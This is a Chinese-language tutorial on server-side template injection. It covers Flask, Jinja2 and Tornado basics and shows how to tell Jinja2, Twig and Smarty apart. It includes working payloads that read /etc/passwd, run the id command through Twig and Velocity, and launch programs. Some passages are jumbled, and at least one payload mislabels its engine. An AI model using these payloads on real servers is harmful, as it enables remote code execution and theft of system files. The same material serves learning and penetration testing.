SSTI 漏洞即服务器端模板注入漏洞(Server-Side Template Injection)。
服务器端模板注入是攻击者利用应用程序中模板引擎的漏洞,通过注入恶意代码到模板中,从而在服务器端执行任意代码或获取敏感信息的攻击方式。模板引擎通常用于将动态数据与固定的模板相结合,生成最终的 HTML、XML 或其他格式的文档。
模版实际指,如:搜索框
{ { 7*7 }}
这样的表达式,如果应用程序直接将用户输入渲染到模板中,就可能会计算并显示出 49,证明存在注入漏洞。更危险的是,攻击者还可能注入如{ { config }}
这样的内容来获取应用程序的配置信息,或者注入{ { [].__class__.__base__.__subclasses__() }}
来获取系统的一些敏感信息。${#rt.exec('calc.exe')}
,如果漏洞存在,就可能在服务器端执行计算器程序,当然在实际环境中可能会执行更恶意的命令。#set($x='freemarker.template.utility.Execute')${$x("id")}
,可能会在服务器上执行id
命令获取用户信息等。当应用程序没有对用户输入进行充分的验证和过滤时,攻击者就可能利用这一点注入恶意脚本,破坏应用程序的正常运行,甚至获取服务器的控制权。
autoescape
功能,自动对用户输入进行转义,防止注入攻击。常见模板引擎的 SSTI 注入示例:
Jinja2 是 Python 中常用的模板引擎。攻击者可以通过注入特殊的表达式来执行任意 Python 代码。
{
{ 7*7 }} # 若存在漏洞,会输出 49,可用于验证漏洞
{
{ config.items() }} # 尝试获取应用程序的配置信息
可以执行系统命令
{
{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} # 读取 /etc/passwd 文件内容
Twig 是 PHP 中常用的模板引擎。攻击者可以尝试注入 PHP 代码来执行命令。
{
{ _self.env.registerUndefinedFilterCallback("exec") }}{
{ _self.env.getFilter("id") }} # 尝试执行 id 命令
Velocity 是 Java 中常用的模板引擎。攻击者可以注入恶意的 Velocity 代码来执行系统命令。
#set($x="java.lang.Runtime")#set($y=$x@getRuntime())#set($z=$y@exec("id"))$z@waitFor()#set($out=$z@getInputStream())#set($in=$x@getDeclaredField("in"))$in@setAccessible(true)#set($f=$in@get($z))#set($sc=new java.util.Scanner($f))$sc@useDelimiter("\\A")$sc@hasNext()?$sc@next():''
Web 框架是用于简化 Web 应用程序开发的软件框架。
一些常见的 Web 框架:
Python 语言
Java 语言
Ruby 语言
JavaScript 语言
Flask 是一个轻量级的 Web 框架,也被称为 “微框架”。开发者可以根据项目需求自由选择和集成其他扩展,具有很高的灵活性。
1)安装:
pip install flask
2)组成:WSGI系统、调试、路由
3)模板引擎:Jinja2
4)使用到装饰器:以@开头的代码方法5)语言:Python
Jinja2 是 Python 中一个模板引擎,常用于模板渲染,它提供了丰富的语法和功能,能方便地将动态数据与静态模板相结合,生成最终的 HTML、XML 等文档。
1.使用 { { }}
来表示变量,{# #}
用于注释。
2.{% %}
用于控制结构(如 if
、for
语句)
可使用if和for控制语句,但是语句需要放置在{% %}
中;
if条件判断语句必须包含结束标签{% endif %},其他部分与python中类似,可以与比较运算符> >= < <= == !=
结合使用,或与逻辑运算符and,or,not,()
结合使用
for循环控制语句在模板内的用法也和python中类似,遍历的对象可以是字典、元组、列表等,但需要注意的是在模板中无法使用continue和break来对循环进行控制。
for循环的内置常量: loop.index: 获取当前的索引值 从1开始
loop.index0:获取当前的索引值 从0开始
loop.first: 判断当前是否是第一次迭代, 是返回True否则返回False
loop.last: 判断当前是否是最后一次迭代, 是返回True否则返回False
loop.length: 序列的长度
3.过滤器
过滤器用于对变量进行格式化或转换,使用"|"符号调用。
可以在前端模板内{ { 内容 | 过滤器 }}
的" | "后使用;
可以使用add_template_filter(函数方法名,'过滤器名')
来自定义过滤器。
Jinja2 中
{ { 7 * '7' }}
结果为7777777
在 Jinja2 里,它遵循 Python 的运算规则。在 Python 中,当一个整数和一个字符串进行乘法运算时,意味着将该字符串重复整数指定的次数。
特点:
from flask import render_template
from flask import Flask, render_template
从 flask
模块导入了 Flask
类和 render_template
函数。Flask
类用于创建 Flask 应用实例,而 render_template
函数用于渲染 HTML 模板。
app = Flask(__name__)
创建了一个 Flask 应用实例,__name__
是 Python 的内置变量,表示当前模块的名称。
@app.route('/')
def index():
data = {
'title': 'Welcome to My Page',
'message': 'This is a sample message.'
}
return render_template('index.html', **data)
@app.route('/')
是一个装饰器,用于将根路径 '/'
映射到 index
视图函数。在 index
函数中,我们定义了一个包含标题和消息的数据字典 data
,然后使用 render_template
函数渲染名为 index.html
的模板,并将 data
字典中的键值对作为关键字参数传递给模板。
if __name__ == '__main__':
app.run(debug=True)
Tornado 是一个高性能的 Python Web 框架,同时也是一个异步网络库。它采用了非阻塞 I/O 和单线程事件循环的方式,能够处理大量的并发连接,具有很高的性能和吞吐量。
异步I/O:Tornado使用非阻塞网络I/O,可以同时处理成千上万个连接,非常适合长连接和实时通信。
Web框架:Tornado提供了一个简单的Web框架,内置Web服务器,可以创建RESTful API和Web应用。
模板引擎:Tornado模板引擎,用于生成HTML页面。
WebSocket支持:Tornado原生支持WebSocket协议,可以用于构建实时Web应用
1.httpserver
服务于web模块的一个简单的HTTP服务器的实现。HTTPConnection
类用来处理HTTP请求,包括读取HTTP请求头、读取POST传递的数据。socket。
1.代表性的代码(导入语句)
2.控制语句
3.运算规则
对比区别:
Jinja2模版引擎(属于Flask框架,Python语言)和其他模板引擎,例:Twig(属于Symfony框架,PHP语言), Smarty(属于Codelgniter框架,PHP语言)
使用 Jinja2 模板引擎
from flask import render_template
使用 Twig 模板引擎
require_once'vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader('templates');
$twig = new \Twig\Environment($loader);
使用 Smarty 模板引擎
require('Smarty.class.php');
$smarty = new Smarty;
Jinja2:使用 { { }}
来表示变量,{% %}
用于控制结构(如 if
、for
语句),{# #}
用于注释。
Twig:语法和 Jinja2 类似,同样使用 { { }}
表示变量,{% %}
用于控制结构,{# #}
用于注释。不过 Twig 是在 PHP 环境中使用。
Smarty:使用 {$variable}
表示变量,{if}...{/if}
、{foreach}...{/foreach}
等标签来实现控制结构,{*...*}
用于注释。
Jinja2 中 { { 7 * '7' }}
结果为 7777777
在 Jinja2 里,它遵循 Python 的运算规则。在 Python 中,当一个整数和一个字符串进行乘法运算时,意味着将该字符串重复整数指定的次数。
Twig 中 { { 7 * '7' }}
结果为 49
Twig 在处理表达式时,会尝试对数据类型进行转换。当遇到 7 * '7'
时,它会把字符串 '7'
转换为数字 7
,然后进行乘法运算。这是因为 Twig 具备智能的数据类型转换机制,会尽可能把参与数学运算的操作数转换为合适的数字类型来执行运算,所以最终结果是 7 * 7 = 49
。
Smarty 中 7{*comment*}7
结果为 77
在 Smarty 模板引擎里,{* ... *}
是注释语法。注释部分不会被解析和渲染,它只是为开发者提供代码注释的功能,在最终的输出中会被忽略。所以 7{*comment*}7
经过 Smarty 处理后,注释部分 {*comment*}
被去除,就只剩下 7
和 7
拼接在一起,结果就是 77
。